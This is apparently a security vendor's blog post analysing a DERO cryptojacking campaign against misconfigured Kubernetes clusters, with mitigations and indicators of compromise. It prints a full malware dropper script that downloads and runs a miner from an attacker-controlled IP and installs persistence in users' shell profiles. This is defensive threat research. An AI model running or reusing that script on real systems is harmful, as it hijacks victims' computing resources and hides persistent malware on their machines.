DERO cryptojacking adopts new techniques to evade detection | Wiz Blog

We have detected a new variant of an ongoing cryptojacking campaign targeting misconfigured Kubernetes clusters in our customers’ cloud environments. 

In this incident, the threat actor abused anonymous access to an Internet-facing cluster to launch malicious container images hosted at Docker Hub, some of which have more than 10,000 pulls. These docker images contain a UPX-packed DERO miner named “pause”. Interestingly, the threat actor has hard-coded their wallet and pool information into the miner executable, which enables the threat actor to execute the miner without any flags, probably as a defense evasion mechanism. The early stages of this campaign were documented in March of 2023, but our latest findings show that this threat actor has been working to adapt their techniques in response to this publication. 

We used IOCs identified during the incident investigation as pivot points to find additional tools used by the attackers. Our analysis indicates that the threat actor employed various methods to propagate within target cloud environments and deploy miners. During our investigation, the attacker updated their Docker Hub repository images, indicating that the campaign is still active.  

In this blog post, we will detail the incident, explain the changes and additions the threat actor has made to their tooling since this campaign was first documented last year, and provide best practices for defense and mitigation along with indicators of compromise (IoCs). 

For more information about this incident and others impacting cloud environments, be sure to check out the Wiz Cloud Threat Landscape. 

Attack flow

Initial access 

We determined the initial access vector to be an externally accessible Kubernetes API server with anonymous authentication enabled [T1190]. With anonymous auth enabled, every unauthenticated user interacting with the cluster API is assigned system:anonymous user in system:unauthenticated group. This user has only minimal permissions to operate on cluster resources; for example, list cluster version by accessing /version endpoint. Therefore, on its own, a public cluster with anonymous auth enabled is not a problem (after all, GKE and EKS employ this mode by default). However, when the system:anonymous user or the system:unauthenticated group is assigned non-default permissions, external unauthenticated users may abuse these permissions as they see fit, which may very well include malicious purposes. This is what happened in this incident. 

Kubernetes deployments 

After gaining initial access and verifying that the necessary permissions were present, the attacker proceeded to deploy various cryptominer workloads [T1610]. For example, a K8s deployment named k8s-device-plugin in the kube-public namespace with pods containing an image called nohuppo:pause. Another example is a daemonset named pytorch-container in the kube-system namespace with pods containing an image called dockerproxies/pause

Overall, we observed five different deployments scattered across namespaces (the full list of the workloads and containers can be found in the Indicators of Compromise section at the end of this post).  

nohuppo:pause image in docker hub

It is evident that the attackers used benign-looking names for name confusion to make it harder to detect the malicious deployments [T1036.005]. For example, k8s-device-plugin is a default name for NVIDIA operator deployment, and kubernetes-external-secret is a take on the operator handling external secrets. Another interesting point to note is the distribution of workloads across different control plane namespaces to blend with the legitimate control plane workloads. 

These masquerading techniques [T1036.005] can of course prove effective against cursory manual inspection but fail against more comprehensive protection and detection solutions. 

Malicious docker images 

The malicious docker images contain a miner named “pause” [T1036.005] which is located under /var/tmp or /usr/local/bin. The miner is a UPX-packed [T1027.002] DERO miner. The image’s entrypoint.sh simply executes the miner:  

#!/bin/bash

echo "ok"

sleep 10

./pause

The name of this container is likely intended to mimic that of the real “pause” container [T1036.005] [T1610] commonly found in Kubernetes clusters. This container normally serves as a minimal bootstrap container that sets up the network namespace for a pod, allowing all other containers in the pod to share the same network and IP address. This ensures consistent networking and resource management while consuming minimal resources. The legitimate pause container runs a minimal binary named “pause”. This binary essentially does nothing but serve to keep the container running, thereby maintaining the network namespace and other shared resources for the duration of the pod’s lifecycle.  

This is not the first-time attackers have chosen to mimic the “pause” container to hide malicious activity. For example, in September 2020 Microsoft documented TeamTNT using Docker Hub images named “pause” [T1036.005] [T1610] to facilitate cryptojacking [T1496] (check out this blog to learn more about how threat actors can leverage several types of Kubernetes containers and pods). 

The miner 

The threat actor compiled a DERO miner [T1496], an open-source miner written in Go.  
However, they modified the original DERO code’s main function, hardcoding an encrypted wallet address and custom mining pool URLs into the binary [T1140]. 

The following snippet shows the new code that was added by the attacker, allowing them to run the miner without any suspicious command line arguments or configuration files, as a defense evasion technique.

We managed to extract the decrypted text by debugging the sample in our sandbox environment and adding a break point after the decryption function: 

A screenshot from GDB showing the decrypted wallet address (base64)

Further analysis allowed us to write a program that extracts and decrypts these strings statically, so we ran it on all samples and variants we found in customer environments and other sources. In total, we found two different wallet addresses among the different samples we analyzed: 

The original mining pool used by the attacker, community-pools.mysrv[.]cloud which is a known Dero pool, was also used in this incident by some variants. However, in other variants, in addition to encrypted wallets, code was also added to hide additional mining pools: 

The encrypted URLS

Decrypting these revealed the following subdomains: 

  • d.windowsupdatesupport[.]link 

  • h.windowsupdatesupport[.]link 

  • name.windowsupdatesupport[.]link 

At the time of writing, these subdomains do not point to an active mining pool, but they have previously resolved to IP addresses of known DERO pool domains, according to VirusTotal. We assess that the attacker registered these domains [T1583.001] to evade detection by monitoring which may be scanning for DNS queries for known mining pools, but not for communication with their IP addresses. 

By pivoting in VirusTotal, we were able to find more tools we believe to be related to the same threat actor. These seem to indicate that besides exploiting misconfigured Kubernetes clusters as we observed in our investigated incident, the attacker has also been targeting other types of environments while using additional techniques:  

  • A Windows sample of a UPX-packed [T1027.002] DERO miner (42e82a37cc6b44f7bc58c6ef6bf3e9e2) was uploaded to VirusTotal on February 24th, 2024. This sample hardcodes the same wallet seen in the “pause” Linux samples observed in this incident (dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y).  

  • A dropper script named ddns.sh was uploaded to VirusTotal on April 15th, 2024: 

#!/bin/bash
for process in java-deamon py.elf getpy.sh; do
    pid=$(ps -C "$process" -o pid= | grep -v PID)
if [ -n "$pid" ]; then
        process_path=$(ls -l /proc/"$pid"/exe | awk '{print $NF}')
        if [ -n "$process_path" ]; then
            echo "Removing $process file: $process_path"
            rm -f "$process_path"
        fi
        echo "Killing $process process"
        kill -9 "$pid"
    fi
done
if command -v nvidia-smi &> /dev/null; then
    echo "Running nohup ./python3.6.3 &"
    cd /tmp; mkdir .p && cd .p; wget https://github.com/develsoftware/GMinerRelease/releases/download/3.43/gminer_3_43_linux64.tar.xz; tar xvf gminer_3_43_linux64.tar.xz; rm -rf gminer_3_43_linux64.tar.xz *.sh miner.sig public.gpg readme.txt sample_config.txt; mv miner python3.6.3; nohup ./python3.6.3 --algo kawpow --server xna.2miners.com --port 16060 --user NYryXAGi7niFPk5FaxmqcY8hpTHmnFA9eT.TT --ssl 1 >/dev/null 2>/dev/null &
else
    echo "Running nohup ./python3.8 &"
    cd /tmp; mkdir .tmp && cd .tmp; wget http://209.141.32.182/cloud; mv cloud .python3.6 && chmod +x .python3.6; while true; do nohup ./.python3.6 >/dev/null 2>&1; done &
fi
script_path="/var/tmp/.ddns.sh"
echo "#!/bin/bash" > "$script_path"
cat "$0" >> "$script_path"
chmod +x "$script_path"
echo "Script saved."
if ! grep $script_path ~/.bash_profile > /dev/null;then
    echo "$script_path >/dev/null 2>&1 & disown" >> ~/.bash_profile
fi
if ! grep $script_path ~/.bashrc > /dev/null;then
    echo "$script_path >/dev/null 2>&1 & disown" >> ~/.bashrc
fi
echo "$script_path >/dev/null 2>&1 & disown" > ~/.bash_logout
for f in $(ls /home)
do
    if ! grep $script_path /home/${f}/.profile > /dev/null;then
        echo "$script_path >/dev/null 2>&1 & disown" >>/home/${f}/.profile
    fi
done
echo "down."

The script first checks for the existence of java-daemon , py.elf , and getpy.sh processes and terminates them if found. This is likely a measure to eliminate competing miner processes, as it is common for miners to vie for machine resources. Next, it checks if a GPU is present by checking if the nvidia-smi command exists. If this check succeeds, the script will download [T1105] GMiner from GitHub and rename it as python3.6.3 and execute it. Otherwise, if the nvidia-smi command does not exist, the script will download [T1105] a binary named cloud from an attacker-controlled server (http:// 209.141.32[.]182/cloud), rename it to python3.6, and execute it with nohup [T1564.011]. Based on VirusTotal, the binaries served by this server were the same as those observed in this incident (22de8e4b08be5c2b1cc5eb2012739786 and cc47cb1bbef442d2f6aa7bc0b0843c88). Finally, the script tampers with bash history and other bash related logs to hide evidence of its execution [T1070].  

Since this activity was first documented by CrowdStrike last year, the attacker has evidently implemented several measures to evade detection. Firstly, they utilized UPX-packing [T1027.002] to obscure the binary, making it harder for traditional antivirus tools to statically analyze and detect the malicious code. Additionally, the attacker embedded encrypted [T1140]  wallet address and mining pool information directly within the binary, bypassing detection methods that monitor command-line arguments for suspicious activity. Finally, they registered domains [T1583.001] with innocent-looking names to avoid raising suspicion and to better blend in with legitimate web traffic, while masking communication with otherwise well-known mining pools. These combined tactics demonstrate the attacker’s ongoing efforts to adapt their methods and stay one step ahead of defenders. 

According to our analysis, the earliest indication of this activity was the creation of the domain windowsupdatesupport[.]link on May 7th, 2023. As of this writing, there are active DNS queries to this domain, suggesting that the threat is ongoing. 

As for the Docker Hub users who added the malicious images:   

  • dockerproxys joined Docker Hub on March 19th, 2024. The images hosted by this user were last updated on May 16th, 2024.  

  • pausehubs joined Docker Hub on February 20th, 2024. 

  • nohuppo joined Docker Hub on July 31st, 2023. 

We informed Docker Hub about these accounts, and they took down dockerproxys and nohuppo. 

To make sure that your organizations’ Kubernetes clusters are not susceptible to this type of attack, consider taking the following precautionary steps that implement firewalling and user access control: 

  1. Disable external cluster access: Unless external network access to the cluster is absolutely necessary, always create a private cluster without public internet exposure. This alone will prevent opportunistic attackers from launching similar attacks against your clusters.  

  2. Disable anonymous cluster access: 

    For managed EKS and GKE clusters: make sure there are no additional roles associated with system:anonymous or system:unauthenticated.  

    For unmanaged clusters: disable anonymous authentication mode if possible. If anonymous authentication is necessary, ensure that only minimal roles are associated with system:anonymous and system:unauthenticated

Prevention 

  1. Wiz customers can use the following controls to detect instances in their environment of the toxic risk combinations exploited by the attackers as an initial access vector: 

  2. Customers also have an option to deploy the Wiz Admission Controller with the pre-defined policies of image signature verification and registry origin. These policies can prevent similar attacks by blocking untrusted container image execution.

Detection 

Wiz customers can use the Wiz Sensor and Threat Detection Rules to be alerted of actions performed in their environment that could relate to the aforementioned attack. Wiz has multiple detection rules and single-event rules, as well as rules correlating between multiple sources. Streaming various sources (cloud logs, K8s audit logs, Wiz sensor events etc.) allows Wiz to deliver high fidelity detections and provide a full picture of an attack.  

  • Kubernetes audit log–based rules detect initial actions by anonymous users. 

  • The Wiz Runtime Sensor detects cryptojacking attacks by combining different event types, such as detecting sustained high CPU utilization by a suspicious process. 

In this blog post, we detailed how a long-running cryptojacking campaign targeting misconfigured Kubernetes clusters has adapted over time to evade detection. We listed IoCs and provided recommendations for how to avoid these types of attacks. 

This incident should encourage organizations to adopt a security-posture solution, enabling security teams to mitigate toxic risk combinations and reduce attack surfaces vulnerable to threat actors. Additionally, this should be paired with a runtime protection mechanism capable of swiftly identifying and addressing security breaches before they cause significant harm. 

While there was no evidence that the threat actor moved laterally from the Kubernetes cluster to the larger cloud environment in this instance, attackers can certainly do so if strong security boundaries are not in place. To learn more about preventing lateral movement from cluster to cloud, check out our blog on the subject. 

Feel free to reach out to threat.hunters@wiz.io if you’ve been impacted by this activity or wish to exchange further information and IoCs that might assist in ongoing analysis. 

Kubernetes IoCs 

Kubernetes Deployments and Daemonsets: 

  • k8s-device-plugin-7c8fb68474 

  • pytorch-container 

  • kubernetes-external-secret 

  • service-clusterip 

  • autoscaler-first-release 

Kubernetes namespaces: 

  • kube-system 

  • kube-public 

  • kube-node-lease 

Container names:  

Container images: 

Wallets: 

  • NYryXAGi7niFPk5FaxmqcY8hpTHmnFA9eT.TT 

  • dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y 

  • dero1qyhauw0rvt5sr0nvsg97n9wq0hg4s0hrj7xs09yw97tctfdqevxgzqgf40nxc 

Network: 

  • community-pools.mysrv[.]cloud 

  • d.windowsupdatesupport[.]link 

  • h.windowsupdatesupport[.]link 

  • name.windowsupdatesupport[.]link 

  • update.windowsupdatesupport[.]link 

  • 209.141.32[.]182 

DERO-miner:  

Binary location on malicious image:  

  • /var/tmp/pause 

  • /usr/bin/pause 

File hashes 

Architecture SHA256 SHA1 MD5
Linux – amd64 68656198c24d6b32c4916a5686906c62baf7d6baae3b1d7dc615e43cb6d3fca8 427aee9ff60df3c102c3feab5319da34ecbf4b70 22de8e4b08be5c2b1cc5eb2012739786
Linux – amd64 e4aa649015b19a3c3350b0d897e23377d0487f9ea265fe94e7161fed09f283cf 7a60e8398cd4f9bd46b6bcf9bfa9863c1bf87ea8 14e7fb298049a57222254ef0f47464a7
Linux – amd64 49e8422e5f273a564c15755711ab2a35a1deb2105bbe1a0a8ce670c9b38721e5 464c26c2ed6c06508ce975aeee2d589c9a2fdac2 cc47cb1bbef442d2f6aa7bc0b0843c88
Linux – amd64 ad2ee0040f88a9001a32f945ce15de2dd1126c0f9f6cb626f2de0163792d8ff7 244e98c20acb54d7ef65b57d4cd364aa9d46731d b6224dc51657a32e1aec1ca2a74c424a
Linux – amd64 649a6fa70b26e5382652808348522b5e7f43f2f77a1b10a4cc5e5bfd5cb80327 02e20e6d1b870d1365028246617ede951f399567 eea6a4938a53eb5e4e254812b3f150c6
Linux – amd64 06d080c816f099cccab56e4b596128e73cd63f524bdc2ddf5dd78c26f409f219 59a835e812374c748d038498b70c04d0f36a8751 0576d33ec4bcd20966c3a24c210e0cad
Linux – amd64 561790bd60258e056c72755bbaf848cfe5c3af548882c6a6579a599192bce3d2 812860c0db73cb2224fe862c0bfd8c7485fc0807 207e358ed42fe1346213480f64a91442
Linux dropper (ddns.sh) e1de787777faba85dcca4e10d945553aefdba14b1995cca7cf0721ee571c7e96 8fd9157811ea69a7253d3fadbea19b4cbb1a6ccd 7c28e0727c74890b3998716967ab8339
Linux – arm d6b14a4fbe5b9adbc0094098b4690ba5f5426247e21474915c408ca4553fcd49 c744dbf1bfa9f410111625f0b1c605a2b5f968d8 806b91c933e2202d5b6d836af9162e28
Windows 9131aac1df4b3a610f5fe69c55fdc19f07055648c0081e61536eb903e0914dc2 8c6793ec6b0459a75f114d0d18785af9ca56b75e 42e82a37cc6b44f7bc58c6ef6bf3e9e2

MITRE ATT&CK® Techniques 

Command and Control – Ingress Tool Transfer (T1105) 

Defense Evasion – Deobfuscate/Decode Files or Information (T1140

Defense Evasion – Hide Artifacts: Ignore Process Interrupts  (T1564.011) 

Defense Evasion – Indicator Removal (T1070) 

Defense Evasion – Masquerading: Match Legitimate Name or Location (T1036.005) 

Defense Evasion – Obfuscated Files or Information: Software Packing (T1027.002) 

Execution – Deploy Container (T1610) 

Impact – Resource Hijacking (T1496) 

Initial Access – Exploit Public-Facing Application (T1190) 

Resource Development – Acquire Infrastructure: Domains (T1583.001) 

Source: https://www.wiz.io/blog/dero-cryptojacking-campaign-adapts-to-evade-detection